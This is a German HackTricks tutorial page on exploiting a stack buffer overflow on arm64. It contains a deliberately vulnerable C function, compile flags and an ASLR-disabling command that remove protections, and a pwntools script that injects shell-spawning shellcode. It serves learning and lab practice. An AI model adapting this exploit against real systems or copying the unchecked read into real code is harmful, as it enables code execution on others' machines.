Stack Shellcode - arm64

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Finden Sie eine Einführung in arm64 in:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne PIE, Canary und NX:

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Kein ASLR & Kein Canary - Stack Overflow

Um ASLR zu stoppen, führen Sie aus:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Um den Offset des Pufferüberlauf (bof) zu erhalten, überprüfen Sie diesen Link.

Ausnutzung:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Die einzige "komplizierte" Sache hier wäre die Adresse im Stack zum Aufrufen. In meinem Fall habe ich den Exploit mit der im gdb gefundenen Adresse generiert, aber beim Ausnutzen hat es nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).

Ich habe die generierte core-Datei geöffnet (gdb ./bog ./core) und die tatsächliche Adresse des Beginns des Shellcodes überprüft.

Last updated